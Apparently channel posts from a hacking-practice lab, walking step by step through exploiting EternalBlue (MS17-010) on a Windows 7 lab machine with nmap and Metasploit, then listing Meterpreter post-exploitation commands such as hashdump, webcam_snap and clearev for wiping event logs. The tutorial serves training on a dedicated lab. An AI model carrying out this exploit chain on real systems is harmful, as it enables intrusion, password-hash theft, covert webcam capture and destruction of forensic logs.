Today we're starting the #advanced section. We'll go through every step-by-step process to hack into our first machine. After we finish, the next day, the machine will be live. It's IP and the time to practice will be published. Before we start here's a quick go-thru of our terms & conditions.

#rules

Users are only authorized to hack machines that have been deployed & not any of other device in same network.

Users must not distribute any malicious material to other user such as malware through the upload functionality, or through any other means.

User must abstain from any unlawful, inappropriate and abusive use of the content and the services provided on this server at all times, in accordance with the existing legislation, and respect the intellectual property rights.

Users are not allowed to target or attack other users.

Vamos a divertirnos un poco

[Download] Openvpn configuration

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-1] Connect to our network

sudo openvpn <openvpn-config-path>

Above step is important otherwise you won't be able to access any machines. In real world this is same as being connected to same wifi as the target device

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-2] Scanning for open ports

nmap -sV -A <machine-ip>

Explaination

-sV: Probe open ports to determine service/version info

-A: Enable OS detection, version detection, script scanning, and traceroute

[Result Analysis]

Machine has open port 445. Means it can be vulnerable to eternal-blue.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-3] Scanning for ms17-010

nmap -p445 --script smb-vuln-ms17-010 <machine-ip>

Explaination

In the command above we used nmap and a NSE script called "smb-vuln-ms17-010", in order to identify devices affected by the ms17-010 vulnerability.

-p445: This indicates the port that we want to scan. Here we only scan port 445 which is the smb file sharing port.

[Result Analysis]

State: VULNERABLE indicates that machine is vulnerable to eternal-blue.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-4] Run metasploit & search for eternal-blue exploit

msfconsole

search ms17-010

Explaination

msfconsole is used to run metasploit

search ms17-010 returns all available exploits for eternal-blue

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-5] Use eternal-blue exploit

use exploit/windows/smb/ms17_010_eternalblue

Explaination

'use' command is used to select the module that we want to use

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-6] Set remote host

set RHOSTS <machine-ip>

Explaination

'RHOSTS' is the Remote Host IP. It should be set to the IP of victim machine that we are going to attack. In my case it is 10.10.34.99. For you, it will be the IP of live machine or any other vulnerable machine that you want to exploit.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-7] Finding out LHOST

ifconfig

Explaination

Execute 'ifconfig' command in new terminal to find your LHOST. If you're on windows, use 'ipconfig' in cmd. The IP corresponding to inet in tun0 interface is the LHOST. For me it is 10.6.9.212.

Here we used tun0 interface as we're connected to same network as target device via openvpn tunnel. In real world attack you would use wlo1 or ethernet interface when connected to a wifi or LAN respectively.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-8] Set localhost in metasploit

set LHOST <your-public-ip>

Explaination

LHOST is used to start a listener on a specific interface on your machine.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-9] Exploit

exploit

Explaination

We use 'exploit' or 'run' command to perform the exploit.

[Result Analysis]

After executing the exploit, if we see 'WIN' it means we successfully exploited the machine and we should have a meterpreter shell opened. Sometimes this exploit fails even if everything is done properly. Don't worry about that, metasploit takes care of it & automatically runs the exploit again. If it still can't exploit machine, you're missing something & you should instead be reading more about the eternal-blue exploit.

[Troubleshoot] If you see 'FAIL'

Make sure your device & victim pc is on same network.

Eternal-blue works only for windows versions upto windows 7. There's an exploit for windows 8 as well but most of the time it doesn't work.

Cross-check the lhost and rhosts.

Port 4444 should not be in use by some other application or process.

Any doubts @Revnexbot

Congratulations!

You just learned eternal-blue exploit. Tomorrow the machine will be online for practice & IP address will be given 10 minutes before time. For time and other details see below.

Time: 4:00 pm-5:00 pm IST

[Target Info] Machine-1
OS: Windows 7

Vulnerability: MS17-010 • Eternal Blue

Exploitation method: Easy

[Requirements]
Nmap • Metasploit • OpenVPN • OpenVPN Config • Brain

[IP Address]
Will be published tomorrow at given time. Target machine will be accessible with that ip exactly for 1 hour from given time. Read #rules before you start.

Date: 1 August 2020 challenge starts at 4:00 pm IST.

Queries & suggestions @Revnexbot

#beginner

Introduction to meterpreter

Meterpreter is a metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code.

Meterpreter is deployed using in-memory DLL injection. As a result, it resides entirely in memory and writes nothing to disk. No new processes are created as it injects itself into the compromised process, from which it can migrate to other running processes. As a result, the forensic footprint of an attack is very limited.

Meterpreter basic commands [Part-1]

background

The background command will send the current meterpreter session to the background. To interact with the session again execute sessions -i <session-id>

download

The download command downloads a file from the remote machine.

edit

The edit command opens a file located on the target host using 'vim'.

getuid

Running getuid will display the user that the meterpreter server is running as on the host.

Queries & suggestions @Revnexbot

#beginner

Meterpreter basic commands [Part-2]

hashdump

The hashdump post module will dump the contents of the SAM database.

idletime

Running idletime will display the number of seconds that the user at the remote machine has been idle.

ipconfig

The ipconfig command displays the network interfaces and addresses on the remote machine.

migrate

Using the migrate post module, you can migrate to another process on the victim machine.

ps

The ps command displays a list of running processes on the target.

cd and pwd

The cd and pwd commands are used to change and display current working directly on the target host

webcam_list

The webcam_list command when run from the Meterpreter shell, will display currently available web cams on the target host.

webcam_snap

The webcam_snap command grabs a picture from a connected web cam on the target system, and saves it to disc.

clearev

The clearev command will clear the Application, System, and Security logs on a Windows system.

Queries & suggestions @Revnexbot

🟢 LIVE

[Machine-1: Blue]

IP: 10.10.142.9

Blue is now online. You can perform attacks & have fun. Read #rules before you start. Exploitation method of this machine is here for reference. Queries & suggestions @Revnexbot

Time: 4:00 pm - 5:00 pm

#beginners

Introduction to Reverse engineering

Reverse engineering, also called back engineering, is the process by which a man-made object is deconstructed to reveal its designs, architecture, code or to extract knowledge from the object; similar to scientific research, the only difference being that scientific research is about a natural phenomenon.

Machine codes

Computers execute machine code, which is encoded as bytes, to carry out tasks on a computer. Since different computers have different processors, the machine code executed on these computers is specific to the processor.

Queries & suggestions @Revnexbot